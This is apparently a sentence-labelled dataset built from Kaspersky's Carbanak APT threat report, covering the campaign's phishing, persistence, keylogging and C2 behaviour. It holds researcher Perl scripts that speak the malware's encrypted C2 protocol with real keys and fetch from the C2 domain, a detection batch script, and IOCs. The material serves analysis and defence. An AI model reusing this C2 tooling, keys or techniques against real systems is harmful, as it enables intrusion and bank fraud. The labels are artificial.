Carbanak_APT_eng-24	Of the 100 banking entities impacted at the time of writing this report , at least half have suffered financial losses , with most of the victims located in Russia , USA , Germany , China and Ukraine .	0
Carbanak_APT_eng-25	The magnitude of the losses is significant .	0
Carbanak_APT_eng-26	For example , one victim lost approximately $ 7.3 million ( USD ) due to ATM fraud ; another suffered a $ 10 million ( USD ) loss due to the exploitation of its online banking platform .	0
Carbanak_APT_eng-27	Stolen funds were transferred out of the affected countries to bank accounts in the US and China .	0
Carbanak_APT_eng-28	Additionally some of the C2 servers have log entries indicating connections to systems located in the US .	0
Carbanak_APT_eng-29	Telemetry indicates that the attackers are expanding operations to other regions , such as Asia , the Middle - East , Africa and Europe .	0
Carbanak_APT_eng-30	This report discusses the attack vectors , infection mechanisms and toolkits used by the attackers to exploit the network after the initial infection , as well as the operational details and geographical distribution of this campaign .	0
Carbanak_APT_eng-31	During the spring of 2014 , Kaspersky Lab was involved in a forensic analysis of ATMs dispensing cash to people located near them but with no physical interaction according to security cameras .	0
Carbanak_APT_eng-32	No malware was detected on these ATMs .	0
Carbanak_APT_eng-33	However , Carberp - like malware was found on a computer that was connected to them via VPN .	0
Carbanak_APT_eng-34	Following the investigation of this incident , in the summer of 2014 , Kaspersky Lab identified the same Carberp - like malware in another investigation involving a bank , where criminals were able to gain access to its online banking systems .	0
Carbanak_APT_eng-35	In this investigation , we started analyzing all the computers in the bank 's infrastructure in order to find the source of the infection .	0
Carbanak_APT_eng-36	We found spear phishing emails with CPL files attached that , after a successful infection , install the same Carberp - like malware we had previously found in the case involving the ATMs .	0
Carbanak_APT_eng-37	There is evidence indicating that in most cases the network was compromised for between two to four months , and that many hundreds of computers within a single victim organization may have been infected .	0
Carbanak_APT_eng-38	This period of time was used by the attackers to get access to the right victims and critical systems , and to learn how to operate their tools and systems to get the cash out .	0
Carbanak_APT_eng-39	Carbanak contains an espionage component that allows the attackers to take control of video capabilities on the victim systems .	0
Carbanak_APT_eng-40	Thanks to this , long term observation and reconnaissance could be conducted .	0
Carbanak_APT_eng-41	This allowed the attackers to understand the protocols and daily operational tempo of their targets .	0
Carbanak_APT_eng-42	Based on this understanding , exploitation methodologies and mechanisms were developed and tailored to each victim .	0
Carbanak_APT_eng-43	All observed cases used spear phishing emails with Microsoft Word 97 – 2003 ( .doc ) files attached or CPL files .	0
Carbanak_APT_eng-44	The doc files exploit both Microsoft Office ( CVE- 2012 - 0158 and CVE-2013 - 3906 ) and Microsoft Word ( CVE- 2014 - 1761 ) .	0
Carbanak_APT_eng-45	There are indicators that point to a possible Chinese origin for the exploits used in these attachments .	0
Carbanak_APT_eng-46	Command and Control ( C2 ) servers located in China have been identified in this campaign .	0
Carbanak_APT_eng-47	In addition , registration information for some of the domains use details of supposedly Chinese citizens .	0
Carbanak_APT_eng-48	Obviously , all this could just be a red herring .	0
Carbanak_APT_eng-49	6 The targets were all employees affiliated to the affected institution .	0
Carbanak_APT_eng-50	The spear phishing email messages appeared legitimate and in some cases were sent from compromised coworkers accounts .	0
Carbanak_APT_eng-51	In this way compromised systems were used as a transmission vector .	0
Carbanak_APT_eng-52	Given that the victims were mostly Russian - speaking financial institutions , the names of the attachments we have identified were generally in Russian .	0
Carbanak_APT_eng-53	"Examples include "" Соответствие ФЗ-115 "" and "" Приглашение "" which translate into "" Accordance to Federal Law "" and "" Invitation "" respectively ."	0
Carbanak_APT_eng-54	This is enough to induce a typical employee to open the attachment and execute the malware .	0
Carbanak_APT_eng-55	For a complete list of file names see Appendix 4 .	0
Carbanak_APT_eng-56	The following is an example of a Carbanak spear phishing email .	0
Carbanak_APT_eng-57	Translated .	0
Carbanak_APT_eng-58	In this case , the attachment was a CPL file compressed using the Roshal Archive ( .rar ) format .	0
Carbanak_APT_eng-59	Once the remote code execution vulnerability is successfully exploited , it installs Carbanak on the victim 's system .	0
Carbanak_APT_eng-60	The complete list of observed spear phishing emails can be found in Appendix 1 – Spear phishing .	0
Carbanak_APT_eng-61	An additional infection vector that we believe was used by the criminals is a classical drive - by - download attack .	0
Carbanak_APT_eng-62	We have found traces of the Null and the RedKit exploits kits .	0
Carbanak_APT_eng-63	The image above translates as Country_name , All visitors , Unique visitors , Banned visitor , Revoked infections , Infected .	0
Carbanak_APT_eng-64	Carbanak is a backdoor used by the attackers to compromise the victim 's machine once the exploit , either in the spear phishing email or exploit kit , successfully executes its payload .	0
Carbanak_APT_eng-65	This section provides a functional analysis of Carbanak 's capabilities .	0
Carbanak_APT_eng-66	"Carbanak copies itself into "" % system32%\com "" with the name "" svchost.exe "" with the file attributes : system , hidden and read - only ."	1
Carbanak_APT_eng-67	The original file created by the exploit payload is then deleted .	0
Carbanak_APT_eng-68	To ensure that Carbanak has autorun privileges the malware creates a new service .	1
Carbanak_APT_eng-69	"The naming syntax is "" < ServiceName > Sys "" where ServiceName is any existing service randomly chosen , with the first character deleted ."	0
Carbanak_APT_eng-70	"For example , if the existing service s name is "" aspnet "" and the visible name is "" Asp.net state service "" , the service created by the malware would be "" aspnetSys "" with a visible name of "" Sp.net state service "" ."	0
Carbanak_APT_eng-71	Before creating the malicious service , Carbanak determines if either the avp.exe or avpui.exe processes ( components of Kaspersky Internet Security ) is running .	1
Carbanak_APT_eng-72	If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013 - 3660 , for local privilege escalation .	0
Carbanak_APT_eng-73	We believe this is not relevant and that the attackers adapt their tools to the victim s defenses .	0
Carbanak_APT_eng-74	Carbanak creates a file with a random name and a .bin extension in % COMMON_APPDATA%\Mozilla where it stores commands to be executed .	1
Carbanak_APT_eng-75	Then the malware gets the proxy configuration from the registry entry : [ HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings ] and the Mozilla Firefox configuration file in : % AppData%\Mozilla\Firefox\<ProfileName>\prefs.js How to detect Carbanak One of the best methods for detecting Carbanak is to look for .bin files in the folder : .. \All users\%AppData%\Mozilla\ The malware saves files in this location that will later be sent to the C2 server when an internet connection is detected .	1
Carbanak_APT_eng-76	A .BAT script for detecting infections is provided in the Appendixes .	0
Carbanak_APT_eng-77	Additionally , Carbanak can obtain proxy configuration information from headers sent through an application via SOCKS or HTTP .	1
Carbanak_APT_eng-78	Carbanak injects its code into svchost.exe .	1
Carbanak_APT_eng-79	Most of the actions described below happen within this process .	0
Carbanak_APT_eng-80	Carbanak downloads the file kldconfig.plug from its C2 server .	1
Carbanak_APT_eng-81	This file includes the names of the processes to be monitored .	0
Carbanak_APT_eng-82	Once the system is infected , Carbanak logs keystrokes and takes screenshots every 20 seconds .	1
Carbanak_APT_eng-83	This monitoring is performed by intercepting the ResumeThread call .	0
Carbanak_APT_eng-84	To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .	1
Carbanak_APT_eng-85	Also , after executing this service , it modifies the executable code in memory in order to establish simultaneous work processes for both remote and local users .	0
Carbanak_APT_eng-86	Modules modified in this process are : termsrv.dll , csrsrv.dll , msgina.dll and winlogon.exe .	0
Carbanak_APT_eng-87	If Carbanak detects the banking application BLIZKO ( funds transfer software ) in the infected computer , it sends a special notification to its C2 server .	1
Carbanak_APT_eng-88	Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .	0
Carbanak_APT_eng-89	To communicate with its C2 server , Carbanak uses the HTTP protocol with RC2+Base64 encryption , adding additional characters not included in Base64 .	0
Carbanak_APT_eng-90	It also inserts strings with different extensions ( .gif,.htm , etc . ) at random locations in the HTTP request .	0
Carbanak_APT_eng-91	Example of a typical Carbanak request .	0
Carbanak_APT_eng-92	Carbanak sends its collected monitoring data to its C2 server .	1
Carbanak_APT_eng-93	It also receives commands .	1
Carbanak_APT_eng-94	The commands are compared with a hash table ; if there is a match Carbanak performs the associated action .	0
Carbanak_APT_eng-95	In order to render the malware less suspicious , the latest Carbanak samples are digitally signed .	0
Carbanak_APT_eng-96	Known samples of Carbanak have been uploaded to VirusTotal from the following locations .	0
Carbanak_APT_eng-97	Known exploits that download Carbanak have been uploaded to VirusTotal mostly from Russia .	0
Carbanak_APT_eng-98	According to KSN data , victims are distributed geographically as follows .	0
Carbanak_APT_eng-99	It is also very interesting to see the distribution of Carbanak submissions to VirusTotal .	0
Carbanak_APT_eng-100	This way we can identify periods when the malware came to the attention of potential victims and security researchers , and helps to reveal peaks in the group 's activity .	0
Carbanak_APT_eng-101	Since the beginning of this case , Kaspersky Lab has worked in cooperation with the LEAs investigating it .	0
Carbanak_APT_eng-102	During the investigation LEAs shared with us statistical data from their research that helped us to complete our picture of the campaign .	0
Carbanak_APT_eng-103	The following map shows targets ' IP addresses found in three of Carbanak 's Linux servers at the end of October 2014 .	0
Carbanak_APT_eng-104	Carbanak uses different tools on infected systems , each one with a different purpose .	0
Carbanak_APT_eng-105	There appears to be a preference for the Ammyy Admin remote administration tool for remote control .	0
Carbanak_APT_eng-106	Specifically , the attackers have been detected uploading : Ammyy Admin 3.5 ( f8cd52b70a11a1fb3f29c6f89ff971ec ) as svchost.exe It is believed that the attackers used this remote administration tool because it is commonly whitelisted in the victims ' environments as a result of being used regularly by administrators .	0
Carbanak_APT_eng-107	In another instance , a Secure Shell ( SSH ) backdoor was used to communicate with the C2 server in 190.97.165.126 ( operatemesscont.net ) .	1
Carbanak_APT_eng-108	This indicates that the attackers did not limit themselves to Microsoft Windows environments .	0
Carbanak_APT_eng-109	In this case , the victim used the Telnet / SSH client PuTTY to connect to the server , and the attackers recompiled the machine 's SSH daemon with a backdoor so they could gain direct access .	1
Carbanak_APT_eng-110	Logs for these tools indicate that they were accessed from two different IPs , probably used by the attackers , and located in Ukraine and France .	0
Carbanak_APT_eng-111	We have also found traces of many different tools used by the attackers inside the victim s network to gain control of additional systems , such as Metasploit , PsExec or Mimikatz .	0
Carbanak_APT_eng-112	There appear to be four distinct types of C2 servers .	0
Carbanak_APT_eng-113	Server rotation occurs more or less on a biweekly basis .	0
Carbanak_APT_eng-114	For a complete list of identified Carbanak servers please check the regularly updated Carbanak IOC document .	0
Carbanak_APT_eng-115	The current list of IOCs is provided at Appendix 3 in his document .	0
Carbanak_APT_eng-116	Some of these C2 servers are responsible for dropping Ammyy ( configuration and executable files ) , the KLG plugin configuration ( list of processes to monitor ) and the VNC server ( both 32 and 64 bits to be injected in rundll ) .	0
Carbanak_APT_eng-117	In one of the observed servers there was also a Metasploit module .	0
Carbanak_APT_eng-118	Victim systems are catalogued in the servers ' databases .	0
Carbanak_APT_eng-119	The victims belong to a number of different communities , thus simplifying administration .	0
Carbanak_APT_eng-120	In all , 85 different victims belonging to seven communities were found .	0
Carbanak_APT_eng-121	Additionally , the malicious servers contain video files that capture a victim s activity .	0
Carbanak_APT_eng-122	While the videos are stored using a compressed format which provides poor image quality , the selected format minimizes upload bandwith and is of sufficient quality for the attackers to understand the victims ' activities .	0
Carbanak_APT_eng-123	The video file naming conventions used the name of the application in the foreground ( e.g. , Outlook , Cmd , etc . ) and only recorded user activity .	0
Carbanak_APT_eng-124	This helped the attackers to both navigate to files of interest and to discard superfluous files .	0
Carbanak_APT_eng-125	Using the intelligence gained from video and other monitoring techniques , the attackers developed an operational picture of the victim 's workflow , tooling and practices .	0
Carbanak_APT_eng-126	This picture helps the attackers to deploy their malicious operations , for example .	0
Carbanak_APT_eng-127	In general , the attackers demonstrated great versatility , using attack methodologies best suited to a specific victim 's operational methodology .	0
Carbanak_APT_eng-128	However , they seemed to deliberately limit the amount of money stolen per victim to $ 10 million USD .	0
Carbanak_APT_eng-129	This limit may be explained as the maximum amount of money that can be transferred via mule services , or the maximum amount of money that is budgeted in banks for fraud risks in order to minimize the chances of LEAs and the bank s anti - fraud teams from doing a full blown analysis .	0
Carbanak_APT_eng-130	Sensitive bank documents have be found on the servers that were controlling Carbanak .	0
Carbanak_APT_eng-131	They included classified emails , manuals , crypto keys , passwords and so on .	0
Carbanak_APT_eng-132	For example , the file in the above figure has KVC ( key verification codes ) keys that are used by ATMs to check the integrity of the PIN numbers of its users .	0
Carbanak_APT_eng-133	In other cases involving ATMs , the criminals were able to control computers that had access to the internal ATM network .	0
Carbanak_APT_eng-134	If the bank had enabled remote access to ATMs , the criminals started using this access to remotely withdraw cash .	0
Carbanak_APT_eng-135	Criminals used no malware to operate the ATM dispenser ; instead they used standard utilities to control and test ATM equipment .	0
Carbanak_APT_eng-136	Malware targeting the finance industry ( both companies and consumers ) continues to evolve .	0
Carbanak_APT_eng-137	The Carbanak malware used in the on - going campaign described in this report has been very successful in terms of generating revenue .	0
Carbanak_APT_eng-138	Of particular interest are the attack methods , similar to those used in sophisticated cyber - espionage APTs .	0
Carbanak_APT_eng-139	As such , they represent a new and disturbing trend in the cybercrime market of increasing attack sophistication .	0
Carbanak_APT_eng-140	Despite increased awareness of cybercrime within the financial services sector , it appears that spear phishing attacks and old exploits ( for which patches have been disseminated ) remain effective against larger companies .	0
Carbanak_APT_eng-141	Attackers always use this minimal effort approach in order to bypass a victim s defenses .	0
Carbanak_APT_eng-142	Advanced control and fraud detection systems have been used for years by the financial services industry .	0
Carbanak_APT_eng-143	However , these focus on fraudulent transactions within customer accounts .	0
Carbanak_APT_eng-144	The Carbanak attackers bypassed these protections , by for example , using the industry - wide funds transfer ( the SWIFT network ) , updating balances of account holders and using disbursement mechanisms ( the ATM network ) .	0
Carbanak_APT_eng-145	In neither of these cases did the attackers exploit a vulnerability within the service .	0
Carbanak_APT_eng-146	Instead , they studied the victim s internal procedures and pinpointed who they should impersonate locally in order to process fraudulent transactions through the aforementioned services .	0
Carbanak_APT_eng-147	It is clear that the attackers were very familiar with financial services software and networks .	0
Carbanak_APT_eng-148	As part of an automated reconnaissance phase , the Carbanak malware checked victim systems for the presence of specialized and specific banking software .	0
Carbanak_APT_eng-149	Only after the presence of banking systems was confirmed , were victims further exploited .	0
Carbanak_APT_eng-150	To date , attacks against approximately 300 IP addresses around the world have been observed on analyzed C2s .	0
Carbanak_APT_eng-151	It is possible that these attacks were coordinated to maximize returns prior to industry - wide information sharing and the implementation of countermeasures .	0
Carbanak_APT_eng-152	Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .	0
Carbanak_APT_eng-153	Carbanak may be responsible for losses as high as $ 1 billion USD .	0
Carbanak_APT_eng-154	We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .	0
Carbanak_APT_eng-155	APTs are not only for stealing information anymore .	0
Carbanak_APT_eng-156	"Decryptor # ! /usr / bin / perl -w # Work with Carbanak c2 use strict ; use warnings ; use Crypt::CBC ; use Crypt::Cipher::RC2 ; use MIME::Base64 ; use LWP::Simple ; # my $ c2 = "" worldnewsonline.pw "" ; # my $ reguest = "" 1234567890123456 "" ; my $ reguest_was = "" JybDHkfWGURJPuWeUpPMX / ca9BThbDim0Hdk/9YzkJS7m8a19tz QwZxo1vvQ / r/7SHJcCm4tdpZGp.dmDwKf MjpWBM18eX8VUiimyaUZMGoClZ6eShS9tLCK tuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4V fyUz.shtml "" ; $ reguest_was = ~ tr/\/\=\&\?//d ; my $ replace = "" "" ; my $ find="".shtml "" ; $ reguest_was = ~ s/\Q$find\E//g ; $ reguest_was = ~ s/-/+/g ; $ reguest_was = ~ s/\./\//g ; print "" $ reguest_was\n "" ; my $ iv = substr $ reguest_was,0,8 ; $ reguest_was = substr $ reguest_was,8 ; my $ base64_decoded1 = decode_base64(""$reguest_was "" ) ; print "" $ base64_decoded1\n "" ; my $ length = length($base64_decoded1 ) ; print "" length is : $ length\n "" ; print "" iv is : $ iv\n "" ; print "" req is : $ reguest_was\n "" ; my $ base64_decoded = "" $ { base64_decoded1 } "" ; my $ key = "" vfDGbiwmiqdN6E2N "" ; # my $ key = "" 1234567812345678 "" ; my $ cipher = Crypt::CBC->new ( -cipher=>'Cipher::RC2 ' , -header=>'none ' , -literal_key=>1 , -key=>$key , – keysize=>16 , -iv=>$iv ) ; my $ plaintext = $ cipher->decrypt($base64_decoded ) ; print "" Decode:\ n$plaintext\n "" ; # Decrypt is # HWUMRbvuwKQCrkOhuckIXpdFgtd|new0878802c8004333a3|data = listprocess|pro cess = svchost.exe|idproce ss=4294967295|lBHReFDRDfYG # my $ url = "" http://$c2/$base64_encoded "" ; # print $ url ; # my $ contents = get($url ) ; # print $ contents ; Encryptor # ! /usr / bin / perl -w # Decrypt Carbanak c2 responce use strict ; use warnings ; use Crypt::CBC ; use Crypt::Cipher::RC2 ; use MIME::Base64 ; use LWP::Simple ; my $ c2 = "" worldnewsonline.pw "" ; my $ reguest = "" HWUMRbvuwKQCrkOhuckIXpdFgtd|new0878802c8004333a3|data = listprocess|pro cess = svchost.exe|idproces s=4294967295|lBHReFDRDfYG "" ; my $ iv = "" JybDHkfW "" ; # should be random my $ key = "" vfDGbiwmiqdN6E2N "" ; my $ cipher = Crypt::CBC->new ( -cipher=>'Cipher::RC2 ' , -header=>'none ' , -literal_key=>1 , -key=>$key , – keysize=>16 , -iv=>$iv ) ; my $ ciphertext = $ cipher->encrypt($reguest ) ; my $ base64_encoded = encode_base64(""$ciphertext "" ) ; $ base64_encoded = ~ s/\x0a//g ; $ base64_encoded = ~ s/\//\./g ; $ base64_encoded = ~ s/\+/-/g ; my $ base64_encoded_ex = "" $ { iv}${base64_encoded}.php "" ; my $ url = "" http://$c2/${base64_encoded_ex } "" ; print $ url ; # http://worldnewsonline.pw/ GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp ZGp ."	0
Carbanak_APT_eng-157	"dmDwKfMjpW.BM18eX8VUiimyaUZMGoClZ6eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHG ZCBPj.vd08D UENC5o . AE4VfyUz .. php| my $ contents = get($url ) ; print $ contents ; Decrypt Files from CnC # ! /usr / bin / perl -w # Decrypt Files from sended from c2 use strict ; use warnings ; use Crypt::CBC ; use Crypt::Cipher::RC2 ; use MIME::Base64 ; use LWP::Simple ; my $ file=$ARGV[0 ] ; open(DATA , "" < $ file "" ) ; open(DATA1 , "" < $ file "" ) ; open(DATA2 , "" < $ file "" ) ; binmode(DATA ) ; binmode(DATA1 ) ; binmode(DATA2 ) ; my ( $ data , $ n , $ offset ) ; while ( ( $ n = read DATA , $ data , 1 , $ offset ) ! = 0 ) { $ offset + = $ n ; } my $ length = $ offset ; my $ iv_len = read DATA1 , my $ iv , 8 , 0 ; read DATA2 , my $ crypt_data , $ length , 8 ; my $ key = "" vfDGbiwmiqdN6E2N "" ; my $ cipher = Crypt::CBC->new ( -cipher=>'Cipher::RC2 ' , -header=>'none ' , -literal_key=>1 , -key=>$key , – keysize=>16 , -iv=>$iv ) ; my $ plaintext = $ cipher->decrypt($crypt_data ) ; print "" $ plaintext "" ; @echo off for /f % % a in ( ' hostname ' ) do set "" name=%%a "" echo % name% del /f % name%.log 2 > nul if exist "" c:\Documents and settings\All users\application data\ mozilla\*.bin "" echo "" BIN detected "" > > % name%.log if exist % SYSTEMROOT%\System32\com\svchost.exe echo "" COM detected "" > > % name%.log if exist "" c:\ProgramData\mozilla\*.bin "" echo "" BIN2 detected "" > > % name%.log if exist % SYSTEMROOT%\paexec * echo "" Paexec detected "" > > % name%.log if exist % SYSTEMROOT%\Syswow64\com\svchost.exe echo "" COM64 detected "" > > % name%.log SC QUERY state= all | find "" SERVICE_NAME "" | findstr "" Sys$ "" if q%ERRORLEVEL% = = q0 SC QUERY state= all | find "" SERVICE_NAME "" | findstr "" Sys$ "" > > % name%.log if not exist % name%.log echo Ok > % name%.log xcopy /y % name%.log "" \\<IP>\logVirus This section contains details on spear phishing emails sent by the attackers to infect victims ."	0
Carbanak_APT_eng-158	MD5 : 8fa296efaf87ff4d9179283d42372c52 Name of attachment : Соответствие ФЗ- 115 от 24.06.2014г.doc Drops executable : MD5 : a1979aa159e0c54212122fd8acb24383 ( Carbanak ) Compiled Mon Apr 04 20:00:57 2011 ( Probably fake ) C2 on update- java.net C2 key 1234567812345678 RDP on 37.235.54.48:443 MD5 : 665b6cb31d962aefa3037b5849889e06 Name of attachment : Запрос.doc Drops executable : MD5 : 4afafa81731f8f02ba1b58073b47abdf ( Carbanak ) Compiled Tue Jul 01 03:20:06 2014 Connects to : financialnewsonline.pw/FYocDxXpn5MXsHwZX/kLUAbd3w2/uUTsarcVKYk2W3B6hnc Z / Gafh8U1W805Lo0N / np7E3ICR6qx8keLDJZqUGXJKBDzfc6VYz9TNIlktObQ.htm ( 185.10.58.175 ) C2 on financialnewsonline.pw , financialwiki.pw C2 key TXeyuryWcIuzxkWnyu RDP on 185.10.56.59:443 MD5 : 2c395f211db2d02cb544448729d0f081 Name of attachment : new.doc Drops executable : MD5 : 551d41e2a4dd1497b3b27a91922d29cc ( Carbanak ) Compiled Mon Aug 04 01:10:40 2014 Connects to : http://worldnewsonline.pw/JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7 m8a19tzQwZxo1vvQ / r/7SHJcCm4tdpZGp.dmDwKfMjpWBM18eX8VUiimyaUZMGoClZ6 eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4VfyUz.shtml C2s on worldnewsonline.pw , worldnews24.pw C2 key JDvkyfhZxkMmDSwUkqvReIvC RDP on 185.10.56.59:443 MD5 : 31e16189e9218cb131fdb13e75d0a94f Name of attachment : Анкета- Заявление.doc Drops executable : MD5 : 4e107d20832fff89a41f04c4dff1739b ( Carbanak ) C2 on public- dns.us C2 key 1234567812345678 RDP on 37.235.54.48:443 MD5 : db83e301564ff613dd1ca23c30a387f0 Name of attachment : Соответствие ФЗ- 115 от 21.07.2014г.doc Drops executable : MD5 : cb915d1bd7f21b29edc179092e967331 ( Carbanak ) Compiled Tue Apr 08 05:44:12 2014 Connects to : datsun- auto.com / bDqxEs / Ta6IPJq3zqmRY- .5/8SgGLA- F / I9CstBYT1rK7kx.440Sbtru.cgi?QVzF = tNM2gdtMLscx5bB4uryjM&PfpxBukmcOaD- Ucygbtzv4=f8fx MD5 : f88a983fc0ef5bb446ae63250e7236dd Name of attachment : Приглашение.msg Drops executable : MD5 : 3dc8c4af51c8c367fbe7c7feef4f6744 ( Carbanak ) Compiled Fri Aug 08 00:48:07 2014 C2s on worldnewsonline.pw , worldnews24.pw C2 key vfDGbiwmiqdN6E2N RDP on 185.10.56.59:443 MD5 : c4a6a111a070856c49905d815f87ab49 Name of attachment : ЧОСВЯЮООАГЖЦСЦЧОЧю Drops executable : MD5 : cb915d1bd7f21b29edc179092e967331 ( Carbanak ) Connects to : GET /cBAWFvkXi94QxShRTaVVn / YzAxD / X0sZEud.5gNItbvozI3tqT5ly9UYLVii13.bml?tlxCFi Busj=2OVj&9GP = a5houGz&K.F = T&l0.7FBN75=nMPDrlGXq4s7cIAQ0Cl662IwVjxvsiTOlG 0d0pd HTTP/1.1 Host : datsun- auto.com MD5 : 86e48a9be62494bffb3b8e5ecb4a0310 Name of attachment : Приглашение.doc Drops executable : MD5 : 3dc8c4af51c8c367fbe7c7feef4f6744 ( Carbanak ) Compiled Fri Aug 08 00:48:07 2014 MD5 : 6c7ac8dfd7bc5c2bb1a6d7aec488c298 Name of attachment : Соответствие ФЗ- 115 от 02.07.2014г .. doc , Drops executable : MD5 : cb915d1bd7f21b29edc179092e967331 ( Carbanak ) Compiled Tue Apr 08 05:44:12 2014 Connects to : datsun- auto.com / bDqxEs / Ta6IPJq3zqmRY- .5/8SgGLA- F / I9CstBYT1rK7kx.440Sbtru.cgi?QVzF = tNM2gdtMLscx5bB4uryjM&PfpxBukmcOaD- Ucygbtzv4=f8fx 36 samples Securelist , the resource Follow us for Kaspersky Lab experts ' technical research , Academy Business Eugene SecureList ThreatPost Daily analysis , and thoughts .	0
Carbanak_APT_eng-159	Academy Business Eugene ThreatPost Daily Kaspersky Lab global Website Eugene Kaspersky Blog Daily Business Daily Kaspersky Lab B2C Blog Kaspersky Lab B2B Blog Academy Business ThreatPost Daily Academy Business Daily Kaspersky Lab security news service Kaspersky Lab Academy 39A/3 Leningradskoe Shosse Moscow , 125212 Russian Federation more contact details Tel : + 7 - 495 - 797 - 8700 Fax : + 7 - 495 - 797 - 8709	0